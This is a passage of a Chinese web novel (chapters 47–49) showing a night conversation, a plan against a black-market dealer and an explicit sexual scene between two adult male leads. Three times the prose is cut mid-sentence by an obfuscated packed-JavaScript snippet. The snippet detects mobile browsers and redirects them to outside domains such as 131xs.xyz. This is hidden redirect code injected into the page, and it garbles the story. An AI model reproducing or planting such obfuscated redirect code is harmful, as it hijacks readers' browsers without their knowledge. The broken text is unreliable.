况且阮玉山是看出来了,九十四这人,只要受了累,又或是玄气受了亏损,便得靠睡觉来补。 亏多少就睡多久,比如初到目连村遭遇迷雾那晚,九十四是一气不歇地到第二天睡了个日上三竿来着。 加之今天喝的两顿药里还有催眠的几味药材,要他不打瞌睡也难。 偏偏这会儿还睡不得。 “欸。”阮玉山用胳膊勒了勒九十四,把人强行唤醒,“你同我说说,这次出门,谁给你设了埋伏?” 九十四半梦半醒,正在阮玉山身上困得十分死去活来,这会子被摇醒,压根没听见阮玉山说什么,只带着浓浓的鼻音应了一声:“嗯?” 阮玉山就听不得九十四这样。 他偏着头凝视九十四困得迷糊的侧脸,听着这动静嘴角就翘起来,心里头被这一声回应哄得天花乱坠,当即附过去拿嘴唇挨了九十四的脸一下。 九十四陡然睁开眼。 47.虚言 阮玉山这回没等来拳头。 他看见九十四维持着睁眼的动作,目光看着前方空中,眼珠子一动不动,神情木然,仿佛定住一般。 阮玉山心里发笑。 这是什么意思? 被他一下亲懵了? 还是亲一口就变木头了? 阮玉山抬头挠了挠九十四的后脑勺,命令道:“蝣人九十四,说话。” 九十四睫毛动了动。 他那双边缘泛着浅淡蓝色的眼珠迟钝地瞥向阮玉山,定定对着阮玉山盯了片刻,又转回去。 此时九十四的目光已不是木讷的茫然,阮玉山清晰地瞧见,此人的眼珠在几个转动间隐隐透出一点狡黠的光芒,满脸一副在脑子里思索或总结什么的神情。 接着,九十四再次睨向阮玉山。 ——很显然该检索的东西已经检索完了,接下来要准备付诸实践。 他朝阮玉山的方向偏了偏后脑勺,碰到阮玉山的额头,眼角凝视着阮玉山,重复地模仿着方才的鼻音道: “嗯?” 呢喃过了这一声,九十四的视线就在阮玉山脸上逡巡,似乎在等待阮玉山给出他预计之中的某种后续。 阮玉山挑眉。 这次他心里是结结实实被挠了一下。 九十四的试探有点像一条悄悄卷上阮玉山手指的蛇尾巴,悄无声息但严丝合缝地贴着皮肤,冰冰凉凉,绞住手指时带着点欲擒故纵的意味。 缠得紧,但只绕了阮玉山半个指尖便停止不动。尾巴尖儿还在有一搭没一搭地摩擦阮玉山的皮肤,似乎在等着看阮玉山是勾勾手指头将他的尾巴逮住,或是视若无睹,任凭九十四自己进退。 阮玉山可不止想逮尾巴。 他还想捏捏蛇肚子。 看看小蛇是会哈气还是伸出信子舔他。 他含笑注视着九十四,伸出带着玉扳指的拇指,按住九十四的唇角,指腹缓慢地摩挲到唇中。 常年练武而生出薄茧的手指把九十四病中苍白的嘴唇擦出了一抹淡淡的红色。 九十四垂下乌长的眼睫看向自己唇中的那根拇指,忽地想起阮玉山下午把手放在自己口中搅弄的情形。 他张了张嘴,看起来想把阮玉山的拇指含进去。 可最后只是抿唇,喉结微微滑动。 阮玉山把他的唇中揉得嫣红,又因那点刺青符咒的缘故,九十四唇上的红色久难消退。 他捏住九十四的下颌逼迫九十四扭头看向自己,随后仰头,先用鼻尖蹭了蹭九十四的嘴角,又将嘴唇覆过去,学着九十四的模样张了张嘴唇,像是要咬,却压根没吻下去。 “我说,”阮玉山的视线从九十四的嘴唇转移到那双蓝色的眼睛上,“到底谁给你下的药?” 九十四的目光从阮玉山点到为止的嘴唇上掠过,克制地黯淡了一下眼色,带着几分不满地别开脸:“不知道。” “总记得住长什么样。”阮玉山瞧他的反应,暗自笑了笑,“否则就这么放过了?我记得你不是个大度的人。” 九十四听阮玉山这意思是暗指他此时此刻表现得气度也小,便又回过头,只是同阮玉山的脸保持了些距离,笑着反问:“告诉你,你要如何?” 阮玉山的笑还是挂在嘴上,他那双丹凤眼的眼尾由于微笑的神色,带出了一丝若隐若现的纹路,凝望着九十四的眼神还是饱含似有若无的轻佻,说出口的话却是四两拨千斤的力道:“我杀了他。” 九十四注视他半晌,收回视线。 随即仰面躺回阮玉山的胸膛,脚下稍微用力,两个人便随着摇椅轻轻晃动起来。 他放空了双目,望着高高不见尽头的夜空,忽问:“什么在叫?” “蟋蟀。”阮玉山的手放回他腰上,收紧了胳膊,在心中暗想这人的腰怎么如此不盈一握,难不成是自己的手太大的缘故? “还有呢?”九十四静静听着。 “油葫芦。”阮玉山说,“叫声像蛙。” “什么是蛙?”九十四问。 阮玉山相当耐心,九十四问什么他答什么:“长在田里的东西。” “那一定不好吃。”九十四原本是在心里默默地想——蝣人都是这样,有许多话只能在心里想,不能说,他们许多想法一旦说出口,便会得到驯监一顿酣畅淋漓的鞭打。 因此蝣人总是沉默寡言。 可此时陷在阮玉山怀里,他想到什么就开口说什么:“我以前吃过蚯蚓。” 九十四声音低沉,语速缓慢:“下过了雨,土地变成泥巴,就会长出很多蚯蚓。它们不好吃,实在饿得不行了,我和百十八会捡一些尝尝。教我认字的老先生说,田的样子,就是四块泥巴拼在一起。” 说到这儿,他仰头问阮玉山:“蛙长在田里,是不是比蚯蚓更不好吃?” 话音刚落,他又低头:“忘了。你没吃过蚯蚓。” “以后下雨,不止有蚯蚓。”阮玉山低头,嘴唇久久地挨着九十四的头顶,嗅到九十四身上的熏香,发觉自己的气息已将九十四的胎香遮掩了,“还有种子发芽,老树开花。” “花和芽都能吃。”他把九十四的头发挽到耳后,偏头看向九十四的挺翘的鼻梁,“届时我陪你尝尝,看哪个好吃。” 九十四眸光微动。 他没见过花,更没见过种子发芽。 这十八年他同阮玉山一起见过最多的是天上挂着的一轮月亮。 月光如水水如天。 九十四身上穿着阮玉山上好的衣裳,任深秋的夜风怎么吹都不觉着冷。 他以前不喜欢寒冬腊月,连带着预示冬天即将到来的深秋也不喜欢。 秋冬太冷了,他没工夫欣赏天寒地冻时的蛇虫鼠蚁,更无法用冻得麻木僵硬的脸颊感受晚风有多温和。 自打阮玉山待在他身边,他好像就再也没感觉到寒冷。 原来这世上除了紧巴巴地苟活,也还有许多事可以留意。 “你没吃过蝣人。”九十四低声道。 这话不像是疑问,更像是陈述。 之前那一夜争吵,阮玉山居高临下地告诉他,蝣人九十四不配得到堂堂阮老爷取的一个名字,他几乎一夜未眠,坐在窗下看了半晚的书,实则头痛欲裂,痛得时时刻刻都恨不得冲出去跟阮玉山同归于尽。 直到第二晚他在矿道外计划着杀阮玉山,一时失手被阮玉山抓回去丢进锅里。阮玉山吓唬他,说今晚本老爷就要尝尝,蝣人到底是什么味道。 这话让九十四想起他们初入目连村的第一天,阮玉山把他按在地上,在他后肩咬出一个带血的牙印,那时对方也说了同样的话。 九十四一听这话就明白了,阮玉山不仅一口蝣人肉没吃过,连蝣人血也一滴没尝过。 这是本应该的事。 可世上有太多本应该的事从来无人遵守:蝣人本应该自由、长寿、矫健勇猛地活着;修炼本应该各凭本事,不借助蝣人的血肉助自己得道飞升;天地万物共享日月,本不应该有限制力量的锁链和笼子。 这些本应该,不也是两百多年从未发生吗? 兴许是从那时起,他对阮玉山滔天的恨开始有些动摇了,连同跟阮玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400403|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山吵完架后痛了一天一夜的头也安生了。 “还挺聪明。”阮玉山用手指打理着九十四的长发,又打趣道,“记仇的蝣人都这么聪明?” 九十四没理他,只懒倦地躺在他身上,慢条斯理地问:“你杀过蝣人吗?” 阮玉山的指尖顿了顿。 俄顷,他说道:“倘或在两百年前,你们侵扰大祈边境,兴许我能有点机会。” 他并未欺骗九十四。 阮玉山从出生到现在,从未亲自动手杀过一个蝣人。 其中很大一部分有老太太严格教导的缘故。 红州跟蝣人自古以来有血海深仇,两百多年前的阮家对蝣人更是到了除战场外其余任何时候碰一下蝣人都嫌脏手的地步。 以至于蝣族没落,阮氏对其仍是抱有“非祭祀时不得触碰”的规矩。 就连外邦平日进入红州,也有明文律法禁止他们以一切方式携带蝣人相关踏入州界。 两百年来,阮氏子孙对蝣人的恨意早已随着岁月的冲刷渐渐淡化了。 只是以蝣人祭祀的规矩在阮家传了下来,其中利益交织,轻易也难以作废。 原本佘老太太嫁入阮家,也曾有心同当年的阮老太爷一鼓作气将这些旧习俗剔除,岂知还没来得及大刀阔斧地改,老太爷便死在了矿洞中。 而老太太当年虽是一家主母,到底才嫁入阮家两年,没站稳脚跟,废除蝣人祭祀一事又触动了许多人的利益,最后只得不了了之。 后来阮玉山落到她手上,由她亲自带大,更是轻易不可草菅人命。 蝣人也好,汉人也罢,老太太打小告诉阮玉山“笼中非畜”,即便阮家甚至整个中原曾经深受其害,与蝣族有着世仇,那也不是常人能随随便便对着蝣人茹毛饮血的理由。 人是不能吃人的。 开了这个口子,心就没底线了。 十四岁时阮玉山上了战场,那些年他杀的人多了,手上沾满数不清的血,也仍是没有吃人肉喝人血的癖好。 整个红州的军队皆以此为禁令,一旦发现有兵以人为食,下场便是个死。 这律令不是为了保护蝣人,而是为了红州阮家的士兵。 至于族中祭祀,阮玉山自来兴致缺缺,懒得去废除,也并不热衷。 府里年年祭祀,他若在家,便出席一次;他若不在,更是招呼都懒得打发人捎去家中。 大祈之中,从小到大不杀蝣人的世家,有两个。 发自谢九楼之心,是因为仁慈;从阮玉山而言,是由于他对此冷漠。 不过阮玉山做事,自来秉持一个论迹不论心的原则。 他没杀过就是没杀过,阮玉山有理有据,理直气壮——不管是出于何种缘故,总归他是半点没撒谎。 九十四不知道什么是撒谎。 他与他的族人从来没有过欺瞒与撒谎,他们彼此之间没机会,外界的众生更是不屑对他们编织任何谎言——现实对蝣人如此残酷暴虐都让他们两三百年地苟活下来了,还有什么谎话能击倒他们? 不懂何为欺瞒的九十四望着阮玉山。 静谧的夜空加深了他眼珠周围的蓝色,那圈蓝色中有一阵彻底的波涛在滚动汹涌,他像在自己的爱恨中进行最后一步抉择。 他紧紧盯着阮玉山,十八年来从未生出过的一份私心关在淡蓝色的瞳孔中,只差临门一脚便要冲破出来。 那样的眼神叫阮玉山看过一次便剥去了肝胆永远不敢辜负。 “真的?阮玉山。”九十四问。 阮玉山面不改色:“绝无虚言。” 48.报复 九十四是蝣人。 饕餮谷的、带着浓烈那罗迦血液气味刺青的蝣人。 一个在众生眼中低劣如同牲畜的人种,竟大摇大摆地出现在燕辞洲的大街,并且衣冠整洁,坦坦荡荡,还能与人用流利的中原话沟通。 这本身就是一件非常反常的事。 “齐且柔想刺探我的底细,看看我有什么背景,身后是否有人庇佑。”九十四说,“难怪问我和你有什么关系。” “哦?”阮玉山一听这里头还有自己的事儿,更是好奇,“怎么会问到我?” 九十四解释:“他问我名字,我说我叫易四,他便又问我,同玲珑钱庄的易三老爷什么关系。” “易四?”阮玉山一下子抓住重点,言辞意有所指,“你为何给自己取名易四?” 九十四微微一怔。 他本是不打算把这事儿告诉阮玉山的,怎知刚才沉思于盂兰古卷,一时嘴快,便抖搂了出来。 自己化名易四的事,是绝不能让阮玉山知晓的。 否则此人的尾巴能翘到天上。 不过就算不小心说了,九十四也有法子把阮玉山的尾巴摁住。 “自然是因为,”他眼珠一定,对阮玉山报以一个似笑非笑的神色,“我没有正经的名字。” 阮玉山的笑容凝滞在嘴角。 他定定注视九十四少倾,期望对方给他一个刚才不过是玩笑话的宽慰。 可是他没等到。 阮玉山低头,摸了摸九十四的手指头,忽然发现这人指甲长出来了一些。 “阿四。”他语气淡淡的,“你还在怪我。” 墙角的蟋蟀和油葫芦又叫了两声,阮玉山圈住九十四的双臂悄悄松了,这让寒风无声无息地透进九十四的衣裳。 九十四感到了一丝寒意。 看来阮玉山说的没错,发着汗,是不能吹风的。 他没回答阮玉山的问题,只是往阮玉山怀里蹭了蹭,又抓起阮玉山的手圈在自己身上,觉着周身包裹得密不透风了,方开口道:“阮玉山。” “嗯。” “我在书上学过一句话,叫知错能改,善莫大焉。”九十四说,“我虽不是一个大度的人,但也绝不小气。” 阮玉山摸不透他的意思,只能接住话茬:“哦?” “我喜欢阿四这个称呼。”九十四话音刚落,便感觉腰间的胳膊又把他抱紧了,他继续道,“所以化名易四,是我自愿。只是姓阮,非我所愿。” 阮玉山终于把脸抬起来,得寸进尺把下巴靠在他后肩:“那姓易又作何解?” 九十四睫羽微颤,片刻后垂下眼帘,含笑将他一瞥:“赏你个面子——姑且暂用。” “那我可得报答你的赏赐之恩。”阮玉山心中有几分无奈,但也认了,扯了扯嘴角,“烦请阿四公子同我讲讲,试探你的齐且柔,是个什么模样。” 九十四问:“你要杀他?” 阮玉山:“不错。” 九十四:“他不能杀。” 阮玉山觉着不公平了,当初自己不乐意给人取个名字,都差点没命,这个给九十四下了猛药的齐且柔倒轻而易举得以赦免:“谢你个赏恩,你还真要大赦天下了?他齐且柔也沾上我阮玉山的光,让你不想计较了?” “自然不是。”九十四有理有据,“齐且柔认出了我是个蝣人,且在心中先入为主认为我不一般,是后续试探发现我一问三不知,才敢大着胆子对我下手。” “可他既然要试探我,便有许多法子试探,为何偏偏要提盂兰古卷?”他且想且道,“最后我险些要了他的性命,他为求一条生路,也是搬出古卷残石企图让我饶了他。” 阮玉山听明白了:“你的意思是,古卷残石中,有关于蝣人的秘密?” “残石中有没有尚且难说,可齐且柔一定知道些什么。”九十四沉思着,只顾说出自己的想法,“而且我怀疑,他所知道关于蝣人的一切,也跟古卷残石有关——很可能是关于我族解除诅咒的法子。否则他不会一来就问我是否要找古卷。他最初必定以为,我是通过古卷——或是古卷的一部分,得到了不同于其他蝣人的自由和力量。” “你不想杀他。”阮玉山发觉这人一动脑子,说话就相当流畅,“你想把他引出来。” “可难的是怎么引。”九十四凝眉,“我记得他想对我下手的地窖是在一家食肆后头,由一条暗道连接。地窖再往前,是富丽堂皇的一处所在——像饕餮谷,有许多看客席。” “看客席?”阮玉山偏头思索,对这种布置相当熟悉,“中庭主要位置,是否有个台子?” “你知道?”九十四回忆道,“台子上还有张床——齐且柔对我下手,似乎并非出于私欲,而是准备把我弄到台子上。我一度以为,他是对蝣人有着非常的仇恨,想要在我出丑时开门叫人观看,以此来羞辱我。” 阮玉山听到这儿便确定了:“他不是想羞辱你,他是想卖了你。那地方是黑市,时常做蝣人买卖。” 他再度把手放到九十四的后背,发觉九十四的汗已经止了,衣服里一片干爽,便理了理九十四的头发,慢慢说道:“他们要觊觎不该觊觎的,就别怪我不客气。” 那地方会做有人买卖倒是没出乎九十四的意料,毕竟只要去当时的大堂看过一眼,谁都能猜出来是个交易的地方。 且能进去交易的人,必定非富即贵。 只是没想到原来还是个黑市。 九十四从阮玉山的话里听出了什么,他微转过脸往后前,嘴角渐渐往上翘:“你有法子引他出来?” 阮玉山也奉出一个心照不宣的笑:“你先说说你的法子,看看咱们俩想的一不一样?” 九十四先注视着阮玉山,似乎在探寻此人的神色,确定对方是否真有法子。随后眸光流转,却不把话说完:“若是此地有个跟他们一样有台子,有看客席的富丽堂皇的所在……” “巧了。”阮玉山忽然把九十四端起来,接着他的话说,“易家在此,恰好也有个卖东西的地方。有台子,有看席,是个——‘富丽堂皇的所在’。” 九十四猝不及防被打横抱起,下意识搂住阮玉山的脖子:“那你几时开张?” 阮玉山只问:“你想几时?” “明天。”九十四说出口,又道,“不,等我休息休息,身体好了就开——休息太久,怕他跑了。” “跑了更不必担心。”阮玉山意态悠然,“燕辞洲进出统共一个关口,我正嫌岛上人多抓不到他,他若是畏罪跑了,从出岛的人里挑出来,可比在岛上抓他容易。” “你究竟有多少眼线?”九十四想起白天在大街上瞧见自己的那几幅画,心中不大高兴,可临时又想起另一档子事,“这便是你放了席莲生的理由?” 阮玉山:“我放他是感动他对他母亲的情谊。” 九十四一扭头:“不信。” 他说完又扭回来,一脸正色:“席莲生有问题。” 阮玉山挑眉:“怎么说?” 九十四明知阮玉山在朝自己卖关子,此刻也懒得同对方斗嘴:“我问你。” 阮玉山应了一声:“您问。” “村子里,论身强体健,有常年务农的庄家汉;论年月岁数,有刚刚成人的姑娘小伙;论家世财富,兴许也有几个地主豪绅,就算没有,那比一个寡母身家丰厚的也该不少。” 九十四道:“我不懂人情世故,可想来妖灵选择寄生也不会顾念这个。光凭我说的这三点,你若是妖灵,你是会选身体年纪最强壮的少年人,还是有权有势的豪绅,还是一无所有,只剩一腔良善的孤母?难道目连村的妖灵,也一心向善吗?” 阮玉山笑了一声:“我要是妖灵,我就谁也不上。” 九十四学着阮玉山的语气:“哦?” 阮玉山:“等着日后一个叫阮玉山的人来了,上他的身——” 他话音一顿,突然将九十四一颠,拐了个弯走向别处:“然后日日伺候易四公子洗澡!” 九十四身子腾空一瞬又落回阮玉山怀里,他先是一愣,听过了阮玉山的话又嘀嘀咕咕地琢磨:“那真成泥巴了——下水不染色?” 阮玉山:“什么?” 九十四不吭声,只在心里想象。 阮玉山把他抱去了沐浴房。 甫一踏出月洞门,那罗迦就撵在阮玉山屁股后头跟上去,到了沐浴房门口,阮玉山一个眼神,那罗迦又不甘不愿的止步门外,老老实实趴着。 一直到两个人洗完出来,那罗迦的尾巴摇摆着没停过。 这回换九十四开门走在前头。 他换了身银底藏青领的寝衣,是阮玉山白天趁他出门打发人找的,算是府里颜色最明亮的衣裳,靓丽却不失素净。 给人一换上,阮玉山就觉着自己那些黑漆漆的衣裳确实将九十四掩盖了几分好颜色,只是衣衫下摆长了些,逶迤在地上。 九十四那头长而茂盛的乌浓卷发也束了一半,发带懒懒散散地系在他背后,一头乌发呈现个半披的模样。 当时阮玉山实在找不到明亮的发带,将就拿自己的以前的给九十四绑上。 那会儿洗完澡,九十四刚换好新寝衣,正低头新奇地左右看看,一抬头瞅见阮玉山拿出条黑不溜秋的发带,脸又耷拉下去一半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410987|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “脸黑成这样做什么?”阮玉山一边拿着发带绕到他身后,一边打趣,“都快赶得上我了。” 九十四一听,眼珠子悄么声儿从镜子里扫向阮玉山。 正对上阮玉山笑而不语的脸。 原来他在背后嘀咕阮玉山那些话,这个人都知道。 九十四忽想起一句“君子坦荡荡,小人常戚戚来”。 可他分明从不对旁人如此,是阮玉山这个君子将他纵容成了小人。 如此,阮玉山也有了私心,那便不算君子了。 九十四抖了抖肩,做出一副规正衣襟的姿态,稍微仰头,对同是小人的阮玉山坦荡荡地道:“你绑吧!就拿这个。” 顿了顿,又说:“我看也不怎么黑。” 他听见阮玉山在身后吃吃一笑。 九十四这才恍然明白——阮玉山压根不在乎别人说他黑。 他感觉自己又被逗了一场,因此有些恼羞成怒,拔腿就往门外走。 于是发带就这么懒懒散散地系在背后了。 阮玉山也不急,背着手慢悠悠跟在九十四身后,瞧见这人动时衣带飘逸,不动时长身玉立,好似生来脚下无根一般,走在园子的石板路上七拐八绕,抱在怀里是轻的,走起路来也是轻的,只怕踩进泥巴地也留不下脚印子。 待他后一步走回屋子,发现九十四正从柜子里倒腾出两床被子,要给自己铺地铺。 阮玉山正色道:“做什么?” “不知道。”九十四头也不抬,像阮玉山当初嫌自己明知故问一样嫌阮玉山,“可能在做饭。” 阮玉山隔空点了点九十四:“好。” 他知道九十四这是在报复什么——报复他在椅子上没落下去的那一吻。 兴许九十四自己没意识到这是在报复他,可阮玉山知道,九十四在意他已在意到了身体力行的地步。 “可算让你逮着机会了。”他不跟小气的蝣人九十四多做纠缠,只是踱步绕到窗边,看了看天上的月亮。 今夜多云。 阮玉山眼底划过一抹老奸巨猾的亮光,在原地一动不动地赏月片刻,随后大步流星地走向屋子里几处珊瑚陶灯前,挨个熄了烛火。 一回头,发现九十四正靠在墙角,下半身坐在自己铺的地铺里,手头不知从哪薅出那本他白天给找的小儿话本——灯灭了,话本看不成了,九十四幽幽盯着他,眼里的怨气比鬼火还旺。 阮玉山面不改色去到床边,上床盖被:“本老爷要睡了。” 九十四视线追随着他,瞧他当真是不打算给彼此留余地,于是也一冷脸,转过去,借着月光接着看书。 哪晓得才看了两刻钟,九十四正到兴起的时候,天上一抹浓厚的乌云飘过来,把那点仅存的月光给遮了。 九十四大失所望。 床上传来阮玉山均匀的呼吸声。 他不为所动,又在原地等了一盏茶的功夫。 岂知乌云非但不散,还有越聚越浓的趋势。 九十四一眼不眨瞅着天上那团巨大的乌云,嘴角一抿,像看到了此生第二大仇敌。 若是这云早早的散了,他姑且不会较真,兴许再看个两眼就睡;可这云越来越多越来越厚,仿佛是故意要跟他作对一般,那九十四就势必要把书看个通宵达旦。 他凛然一个转身,要去阮玉山身上搜罗火折子。 哪晓得手刚伸进被子里,就被一把攥住。 阮玉山睁眼,躺在枕头上悠悠凝视着他:“这又是做什么?” 九十四不做亏心事,自然不怕鬼敲门。只坦然道:“拿火折子。” 阮玉山倒是没听过什么火折子要到被窝里来取的。 他支起一只胳膊撑着脑袋,弯眼笑道:“想上床睡?” 九十四一挑眉毛,觉得这人听不懂好赖话。 遂微微晃动脑袋,扬起下巴,一脸正气,不屑与其同流合污:“我要看书。” 阮玉山又笑:“还想挨着我?” 九十四听闻此话,眉毛一拧,纠正道:“不是。” 阮玉山笑吟吟:“还想要我抱着睡?” 九十四无言以对:“你——” 没等他说完,阮玉山掀开被子:“上来吧。” “……” 九十四看透此人装疯卖傻的本质,遂一声冷笑,扭头要走。 转身之间,他的手腕忽然一紧,眨眼便被强行扯向床头。 九十四落到柔软温暖的被褥上,被人用宽厚的手掌稳稳垫住后脑勺。 轻纱幔帐在席外飞舞,阮玉山的声音从头顶传来:“我嘴皮子有点痒,你给挠挠?” 49.额头 九十四先摇了摇头。 阮玉山皱眉:“不答应?” 九十四又摇摇头。 阮玉山发现,九十四在把后脑勺往自己的掌心蹭。 发带被蹭散了,九十四往后仰头,把自己浓密的卷发蹭到两边,头皮贴切地感知着阮玉山掌心的温度。 接着,他闭上眼,长长地喟叹了一口气。 阮玉山使唤人不成反倒被使唤,他“哈”地一声讥笑道:“怎么?您还睡上了?” 合着刚才死犟着不睡是对枕头不满意,早等着拿他手当垫子。 这还叫他随时随地伺候上了? 九十四微微睁眼,凝视着阮玉山。 失去烛光的屋子仅靠那一点透过乌云的浅薄月色照亮,这使得九十四眼珠周围那一圈淡蓝色蒙上一层冷霜似的雾气,阮玉山看见九十四眼珠中唯一一点带着温度的眸光,像一滴水珠漂泊在大海上。 九十四的指尖触上阮玉山的嘴唇:“阮玉山?” “嗯?” “我的药,好像还没解完。” 阮玉山一怔,对上九十四茫然的眼神。 他心中失笑:“阿四。” 九十四像他一样回应:“嗯?” “那不是药的缘故。” 阮玉山一把抓住九十四的手指,重重地吻了上去。 九十四的五指是纤细修长的,攥住时首先感受到的是粗细均匀的指节。 阮玉山在他的指背上落了几吻,又用鼻尖挨了挨九十四的指节,头颅低下去,眼前便是九十四宽松的领口。 他吸了口气。 二十二岁血气方刚的阮老爷可不想一天难受两次。 阮玉山刚打算闭眼,九十四一根手指就从他的掌心钻出来,沿着他的唇角,描摹他嘴唇的轮廓。 “还痒么?”他听见九十四问他。 阮玉山五指收紧。 攥得九十四整个手掌隐隐泛白。 他从不自认是什么正人君子,但也不屑做任何趁人之危的事,今天九十四中药之时,他也是情急之下才暂时用手解了燃眉之急。 可现在算什么? 九十四的药早解了,却还是在他面前三番四次挑弄撩拨。 他既不是坐怀不乱的柳下惠,也不是六根清净的小和尚。 他是顺我者昌逆我者亡的一州之主阮玉山。 凭什么要在这种事上受委屈? 凭什么九十四所有的蒙昧、无知和不解风月,全要他一味来承受? 他能承受一时,难不成要承受一世? 过去多少人想爬他的床他还嫌配不上,如今到了区区蝣人九十四面前,他忍了一次还要忍二次。 熬鹰也不带这样的! 阮玉山心中几乎起了一股无名火。 他的眼神带上一丝莫名的戾气,却忽听九十四轻声喊:“阮玉山?” 阮玉山又没脾气了。 他暗自叹了口气,仿佛九十四叫一声他的名字就使他受尽折磨,无奈回应道:“阿四。” 九十四沉默了片刻:“……你好烫。” 阮玉山骤然抬起眼,盯住九十四。 原来这人不是什么都不懂。 “哪里烫?”阮玉山沉着声音,冷冷地问。 九十四敛下眼,视线垂向二人身下。 阮玉山捏住九十四的指根,用力捻了捻。 他忽咬了一口九十四的手指,一把从九十四脑后抽出手,按住九十四的脖子,埋头吻下去。 阮玉山的亲吻带着一点蛮横的意思,似乎是在恼怒九十四作壁上观的姿态,连快速的俯冲间都带着一股凌厉的风。 床外幔帐随风浪翻滚着,九十四单手绕到阮玉山脑后,解开了阮玉山的发带。 阮玉山急促的吻带给九十四一阵轻微的窒息感,这让他鼻息间甚至是意识里都被阮玉山的气息包裹住。 反而让九十四险些贪恋上这种感觉。 九十四大起大伏地喘/息着,解开阮玉山发带的那只手继续仓促地拨开阮玉山散落的头发,摸到阮玉山的后颈,紧紧环住阮玉山脖子,恨不能每一寸肌肤都同阮玉山贴合在一起。 他们的唇舌缠绵得近乎麻木,九十四只能靠阮玉山的渡气勉强呼吸。 他第一次尝到情/欲的滋味,尚不知个中因由,只能在迷乱中用残存的一丝理智断断续续地想,阮玉山的舌头上是否藏了比白天更危险的药。 否则为什么这次在身体本能之外,他的五脏六腑也仿佛燃烧起来了。 他的衣领被剥开了,可剥开他衣领的手还是只触碰到那个禁忌之外的地方,像当初在大雾迷阵中逃出来时一样,阮玉山永远浅尝辄止。 “阿四……” 阮玉山错开了唇,九十四含糊应了一声,像到嘴的甜头被人抽走,他有些猝不及防,偏头追过去,只碰到阮玉山滚烫的侧脸。 阮玉山从他的嘴角一路轻啄到耳垂,手掌按在他的肩头,一遍一遍搓揉着他的锁骨:“……帮我。” 九十四的手被抓住,由阮玉山牵引着一路往下。 可是只被牵引到了腰部,阮玉山便松了手。 是进是退,由九十四自己抉择。 九十四无可避免地想起十六岁那天的夜晚。 他因此心跳一滞,睫毛颤抖着睁开眼,却刚好被阮玉山捧着下颌带过去含弄唇珠。 九十四那双淡蓝色的眼珠像在深秋的月光中凝成了皓石,他生来无法浓情的视线此刻平静却细致地扫过眼前近在咫尺的脸,看到的是正与他挨蹭的挺拔的鼻梁,按捺住所有情绪隐而不发的丹凤眼,浓长英俊的一对剑眉。 ……是阮玉山。 为他解药,帮他沐浴,把一切权力交给他的阮玉山。 九十四的指尖动了动。 原来人的腰腹可以如此滚烫硬挺,原来有的东西不是合指就能握住。 九十四的神色依旧不见任何波动,被子下的手却在触碰到的第一刻躲开了。 他又看了一眼阮玉山的脸。 片刻后,再重新张开五指。 ……原来暴起的青筋还会一直蔓延到小腹。 九十四每一处指纹都走过那层充血后变得薄薄的皮肤,皮肤下的粗/大的脉络顶得他的指腹也凹凸不平。 阮玉山的眼角有些许泛红。 他的目光一刻没有离开过九十四那张凉薄的脸,那副沉静如水的五官只有很恍惚的一个瞬间会产生细微的波澜,动作却难以掩盖地显露出一点生疏和拙劣。 好像这是一件很新奇的事,对于从未历经人事的九十四而言,即便是最简单的亲吻和接触,也够使他像念书识字那样细细琢磨,认真探索。 阮玉山圈紧九十四的身体,就差把人揉进自己骨头里:“阿四……” 他深深吸一口气,埋头吮吸着九十四的颈窝:“……不着急。” 九十四快记住了他每一根青筋的位置。 阮玉山的气息愈发沉重,他绷紧了脊背,弓起腰,一滴汗珠从紧实的深古铜色腰腹滴落到九十四的手腕。 一阵疾风闯入窗格,冲破帷幔,拂过九十四的耳侧。 阮玉山抱住他,一下又一下地在他颈侧和双颊落下亲吻。 九十四静默着,无声无息等待阮玉山停下来。 最后阮玉山不再亲他了,他忽然喊:“阮玉山?” “嗯?” “还有额头。” 阮玉山正从枕下拿了小厮们傍晚进来换过的锦帕,抓着九十四脏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426067|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手仔细擦拭,听到这话哼着气一笑,用锦帕裹住九十四的手,俯身向前,在九十四额头上亲了个够。 亲完了,他抵着九十四的脑袋低声问:“这下如何?” 九十四不说话,抿了抿嘴,想不出还能让阮玉山亲哪儿了。 他正思考说眼皮子没亲这要求合不合理,就听见阮玉山又倒吸了一口气。 吸到一半还停下了。 九十四下意识跟着阮玉山的手往自己身上一摸,心里一沉。 ——原来他的腰带也被弄脏了! 虽然刚刚才经历过一顿干柴烈火翻云覆雨,但阮玉山敢肯定,就目前而言,九十四对这身新衣裳的感情比对他要来得深厚许多。 果不其然,九十四的脸骤然冷了下来。 